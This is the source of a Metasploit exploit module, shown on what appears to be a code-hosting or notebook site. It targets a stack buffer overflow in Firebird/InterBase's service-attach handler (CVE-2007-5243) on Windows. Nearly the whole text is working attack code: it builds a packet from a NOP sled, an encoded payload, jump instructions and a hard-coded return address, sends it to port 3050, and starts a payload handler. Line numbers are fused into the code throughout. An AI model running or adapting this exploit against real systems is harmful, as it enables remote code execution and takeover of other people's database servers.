Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/fb_svc_attach.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::BruteTargets1011def initialize(info = {})12super(update_info(info,13'Name' => 'Firebird Relational Database SVC_attach() Buffer Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in Borland InterBase16by sending a specially crafted service attach request.17},18'Author' =>19[20'Ramon de C Valle',21'Adriano Lima <adriano[at]risesecurity.org>',22],23'Arch' => ARCH_X86,24'Platform' => 'win',25'References' =>26[27[ 'CVE', '2007-5243' ],28[ 'OSVDB', '38605' ],29[ 'BID', '25917' ],30[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],31],32'Privileged' => true,33'License' => MSF_LICENSE,34'Payload' =>35{36'Space' => 256,37'BadChars' => "\x00\x2f\x3a\x40\x5c",38'StackAdjustment' => -3500,39},40'Targets' =>41[42[ 'Brute Force', { } ],43# 0x0040230b pop ebp; pop ebx; ret44[45'Firebird WI-V1.5.3.4870 WI-V1.5.4.4910',46{ 'Length' => [ 308 ], 'Ret' => 0x0040230b }47],48# Debug49[50'Debug',51{ 'Length' => [ 308 ], 'Ret' => 0xaabbccdd }52],53],54'DefaultTarget' => 1,55'DisclosureDate' => '2007-10-03'56))5758register_options(59[60Opt::RPORT(3050)61])62end6364def exploit_target(target)6566target['Length'].each do |length|6768connect6970# Service attach71op_service_attach = 827273remainder = length.remainder(4)74padding = 07576if remainder > 077padding = (4 - remainder)78end7980buf = ''8182# Operation/packet type83buf << [op_service_attach].pack('N')8485# Id86buf << [0].pack('N')8788# Length89buf << [length].pack('N')9091# Nop block92buf << make_nops(length - payload.encoded.length - 13)9394# Payload95buf << payload.encoded9697# Jump back into the nop block98buf << "\xe9" + [-260].pack('V')99100# Jump back101buf << "\xeb" + [-7].pack('c')102103# Random alpha data104buf << rand_text_alpha(2)105106# Target107buf << [target.ret].pack('V')108109# Padding110buf << "\x00" * padding111112# Database parameter block113114# Length115buf << [1024].pack('N')116117# Random alpha data118buf << rand_text_alpha(1024)119120sock.put(buf)121122#select(nil,nil,nil,4)123124handler125126end127128end129end130131132